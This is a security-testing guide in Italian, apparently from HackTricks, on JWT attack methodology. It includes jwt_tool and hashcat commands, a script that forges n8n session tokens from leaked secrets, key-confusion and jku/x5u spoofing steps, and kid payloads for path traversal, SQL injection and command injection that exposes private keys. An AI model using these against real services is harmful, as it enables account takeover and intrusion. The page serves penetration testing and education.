JWT Vulnerabilità (Json Web Tokens)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Parte di questo post si basa sull’ottimo post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore del grande tool per pentest JWTs https://github.com/ticarpi/jwt_tool

Risultati rapidi

Esegui jwt_tool con la modalità All Tests! e attendi le righe verdi

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Se sei fortunato lo strumento troverà qualche caso in cui l’applicazione web sta verificando in modo errato il JWT:

Poi, puoi cercare la richiesta nel tuo proxy o effettuare il dump del JWT usato per quella richiesta usando jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Practical JWT assessment workflow

  • Determina il controllo della sessione: Scegli una request specifica per utente (es. profile, billing). Rimuovi cookie/header uno alla volta finché la richiesta non viene rifiutata per isolare quale token effettivamente regola l’autorizzazione.
  • Individua i JWT nel traffico: Spesso sono in Authorization: Bearer <JWT>, ma compaiono anche in header custom o cookie. Se Burp non li evidenzia, usa Target → Site map → Engagement tools → Search con pattern regex come:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decodifica ed enumera: Usa Burp JWT Editor o python3 jwt_tool.py <JWT> per leggere header/payload. Nota alg, exp/durata del token e i claim che guidano authn/authz (role, id, username, email, ecc.).
  • Verifica rapida dell’applicazione della firma: Modifica o cancella qualche byte nella porzione di signature e ripeti la request. Se viene accettata, significa mancanza di validazione della signature e puoi manomettere direttamente i claims del payload.
  • Obiettivo: Modificare i claims del payload per escalare privilegi; ogni attacco qui sotto mira a far accettare al server un payload manomesso sfruttando verifiche deboli, secret deboli o selezione insicura delle chiavi.

Tamper data without modifying anything

Puoi semplicemente manomettere i dati lasciando la firma così com’è e verificare se il server sta controllando la signature. Prova per esempio a cambiare il tuo username in “admin”.

Il token viene verificato?

Per verificare se la signature di un JWT viene controllata:

  • Un messaggio di errore suggerisce che la verifica è in corso; eventuali dettagli sensibili in errori verbosi vanno esaminati.
  • Un cambiamento nella pagina restituita indica anch’esso la verifica.
  • Nessun cambiamento suggerisce assenza di verifica; è il momento di sperimentare la manomissione dei claim del payload.

Origin

È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.

  • Token visti per la prima volta dal client suggeriscono che la chiave potrebbe essere esposta nel codice client-side, richiedendo ulteriori indagini.
  • Token originati lato server indicano un processo più sicuro.

Duration

Controlla se il token dura più di 24h… magari non scade mai. Se c’è il campo “exp”, verifica se il server lo gestisce correttamente.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Una volta recuperato il segreto, caricalo come chiave simmetrica in Burp JWT Editor e ri-firma le claims modificate.

Derivare i JWT secrets da leaked config + DB data

Se una lettura arbitraria di file (o backup leak) espone sia materiale di crittografia dell’applicazione che record utente, a volte puoi ricreare il JWT signing secret e forgiare cookie di sessione senza conoscere le password in chiaro. Esempio di pattern osservato negli stack di workflow automation:

  1. Leak la chiave dell’app (es., encryptionKey) da un file di config.
  2. Leak la tabella utenti per ottenere email, password_hash, e user_id.
  3. Deriva il signing secret dalla chiave, poi calcola l’hash per-utente previsto nel payload JWT:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Inserisci il signed token nel session cookie (es., n8n-auth) per impersonare l’user/admin account anche se il password hash è salted.

Modifica l’algoritmo in None

Imposta l’algoritmo su “None” e rimuovi la signature.

Usa l’estensione di Burp chiamata “JSON Web Token” per provare questa vulnerabilità e per cambiare diversi valori all’interno del JWT (invia la request a Repeater e nella tab “JSON Web Token” puoi modificare i valori del token. Puoi anche scegliere di impostare il valore del campo “Alg” su “None”).

Cambiare l’algoritmo RS256(asymmetric) in HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

L’algoritmo HS256 usa il secret key per sign e verify ogni messaggio.
L’algoritmo RS256 usa il private key per signare il messaggio e usa il public key per l’autenticazione.

Se cambi l’algoritmo da RS256 a HS256, il codice back end usa il public key come secret key e poi usa l’algoritmo HS256 per verify la signature.

Quindi, usando il public key e cambiando RS256 in HS256 possiamo creare una signature valida. Puoi recuperare il certificate del web server eseguendo questo:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, importa la chiave pubblica RSA (da /.well-known/jwks.json o un PEM) e avvia Attack → HMAC Key Confusion Attack per automatizzare il tentativo di ri-firmare HS256.

Nuova chiave pubblica nel header

Un attaccante inserisce una nuova chiave nell’header del token e il server usa questa nuova chiave per verificare la firma (CVE-2018-0114).

Questo può essere fatto con l’estensione “JSON Web Tokens” di Burp.
(Invia la request al Repeater, nella scheda JSON Web Token seleziona “CVE-2018-0114” e invia la request).

JWKS Spoofing

Le istruzioni descrivono un metodo per valutare la sicurezza dei token JWT, in particolare quelli che utilizzano la claim di header “jku”. Questa claim dovrebbe puntare a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.

  • Valutare i token con header “jku”:

  • Verifica l’URL della claim “jku” per assicurarti che punti al file JWKS corretto.

  • Modifica il valore “jku” del token per indirizzarlo a un web service sotto il tuo controllo, permettendo l’osservazione del traffico.

  • Monitoraggio delle interazioni HTTP:

  • L’osservazione di request HTTP verso l’URL specificato indica che il server sta tentando di recuperare chiavi dal link fornito.

  • Quando usi jwt_tool per questo processo, è fondamentale aggiornare il file jwtconf.ini con la posizione del tuo JWKS per facilitare i test.

  • Comando per jwt_tool:

  • Esegui il seguente comando per simulare lo scenario con jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Panoramica dei problemi con kid

Una claim di header opzionale chiamata kid è utilizzata per identificare una chiave specifica, particolarmente importante in ambienti dove esistono più chiavi per la verifica della firma del token. Questa claim aiuta nella selezione della chiave appropriata per verificare la firma di un token.

Rivelare la chiave tramite “kid”

Quando la claim kid è presente nell’header, è consigliato cercare nella directory web il file corrispondente o le sue varianti. Per esempio, se è specificato "kid":"key/12345", dovresti cercare i file /key/12345 e /key/12345.pem nella root del web.

Path Traversal con “kid”

La claim kid potrebbe anche essere sfruttata per navigare nel file system, permettendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi Server-Side Request Forgery (SSRF) modificando il valore kid per puntare a file o servizi specifici. Manomettere il JWT per cambiare il valore kid mantenendo la firma originale può essere fatto usando il flag -T in jwt_tool, come mostrato di seguito:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Mirando a file con contenuto prevedibile, è possibile forgiare un JWT valido. Per esempio, il file /proc/sys/kernel/randomize_va_space nei sistemi Linux, noto per contenere il valore 2, può essere usato nel parametro kid con 2 come password simmetrica per la generazione del JWT.

Un pattern pratico per il caricamento fragile di chiavi da file-system è generare una chiave HS256 con JWK k impostato a AA==, settare kid su un traversal come ../../../../../../../dev/null e ririsignare—alcune implementazioni trattano il file vuoto come un valido secret HMAC e accetteranno token forgiati.

SQL Injection via “kid”

Se il contenuto della claim kid viene usato per recuperare una password da un database, una SQL injection potrebbe essere agevolata modificando il payload di kid. Un esempio di payload che sfrutta una SQL injection per alterare il processo di signing del JWT include:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Questa alterazione forza l’uso di una chiave segreta nota, ATTACKER, per il signing del JWT.

OS Injection through “kid”

Uno scenario in cui il parametro kid specifica un percorso file usato all’interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Remote Code Execution (RCE). Iniettando comandi nel parametro kid, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE e l’esposizione di chiavi è:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku sta per JWK Set URL.
Se il token usa una claim di “jkuHeader allora controlla l’URL fornito. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Public Key per verificare il token. Manometti il token per puntare il valore jku a un servizio web per cui puoi monitorare il traffico.

Prima devi creare un nuovo certificato con nuove private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Quindi puoi usare, per esempio, jwt.io per creare il nuovo JWT con le created public and private keys e puntando il parametro jku al certificato creato. Per creare un certificato jku valido puoi scaricare quello originale e modificare i parametri necessari.

Puoi ottenere i parametri “e” e “n” da un certificato pubblico usando:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Se il verificatore recupera il materiale delle chiavi da remoto, incorpora un Burp Collaborator URL in jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Qualsiasi callback conferma il recupero della chiave in stile SSRF; poi ospita il tuo JWKS/PEM a quell’URL e ri-firma con la tua chiave privata in modo che il servizio convalidi token creati dall’attaccante.

x5u

X.509 URL. Una URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato per certificati) codificati in formato PEM. Il primo certificato dell’insieme deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena dei certificati. X.509 è definito nella RFC 52807. È richiesta la sicurezza di trasporto per trasferire i certificati.

Prova a modificare questo header con un URL sotto il tuo controllo e verifica se viene ricevuta qualche richiesta. In tal caso potresti manomettere il JWT.

Per forgiare un nuovo token usando un certificato che controlli, devi creare il certificato ed estrarre le chiavi pubblica e privata:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Poi puoi usare, per esempio, jwt.io per creare il nuovo JWT con le chiavi pubblica e privata create e impostando il parametro x5u sul certificato .crt creato.

Puoi anche sfruttare entrambe queste vulns per SSRFs.

x5c

Questo parametro può contenere il certificato in base64:

Se l’attaccante genera un certificato autofirmato e crea un token contraffatto usando la corrispondente chiave privata, sostituisce il valore del parametro “x5c” con il certificato appena generato e modifica gli altri parametri, cioè n, e e x5t, essenzialmente il token contraffatto verrebbe accettato dal server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

Se il JWT ha incorporato una public key come nel seguente scenario:

Usando il seguente script nodejs è possibile generare una public key da quei dati:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

È possibile generare una nuova coppia di chiavi private/pubbliche, incorporare la nuova chiave pubblica all’interno del token e usarla per generare una nuova firma:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puoi ottenere “n” e “e” usando questo script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finalmente, usando la chiave pubblica e privata e i nuovi valori “n” e “e” puoi utilizzare jwt.io per forgiare un nuovo JWT valido con qualsiasi informazione.

ES256: Revealing the private key with same nonce

Se alcune applicazioni usano ES256 e lo stesso nonce per generare due jwts, la chiave privata può essere ricostruita.

Ecco un esempio: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

La claim JTI (JWT ID) fornisce un identificatore unico per un JWT Token. Può essere usata per prevenire che il token venga replayed.
Tuttavia, immagina una situazione in cui la lunghezza massima dell’ID è 4 (0001-9999). La request 0001 e 10001 useranno lo stesso ID. Quindi se il backend incrementa l’ID ad ogni richiesta potresti abusarne per replay a request (necessitando di inviare 10000 request tra ogni replay riuscito).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

È stato osservato che alcune web application si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token generato per un client dal servizio JWT veniva accettato da un altro client dello stesso servizio JWT. Se si osserva l’emissione o il rinnovo di un JWT tramite un servizio di terze parti, va investigata la possibilità di registrarsi su un altro client di quel servizio usando lo stesso username/email. Si dovrebbe quindi tentare di replayare il token ottenuto in una request verso il target per verificare se viene accettato.

  • L’accettazione del tuo token potrebbe indicare un problema critico, potenzialmente permettendo lo spoofing dell’account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessario ottenere autorizzazione per test più estesi se ci si registra su un’applicazione di terze parti, poiché ciò potrebbe rientrare in una zona giuridica grigia.

Expiry Check of Tokens

La scadenza del token viene verificata usando la claim “exp” nel Payload. Dato che i JWT sono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e replayare il JWT di un altro utente potrebbe permettere l’impersonificazione di quell’utente. La RFC dei JWT raccomanda di mitigare gli attacchi di replay usando la claim “exp” per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l’applicazione implementi controlli adeguati per processare questo valore e rifiutare i token scaduti. Se il token include la claim “exp” e i limiti di test lo permettono, è consigliabile memorizzare il token e replayarlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusi parsing dei timestamp e controllo di scadenza (timestamp in UTC), può essere letto usando il flag -R di jwt_tool.

  • Potrebbe esserci un rischio di sicurezza se l’applicazione continua a validare il token, poiché potrebbe implicare che il token non scadrebbe mai.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) e modalità di attacco semi-automazioni (-M at).
  • Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – cracking del secret HS256 accelerato da GPU dopo aver esportato i JWT in una wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks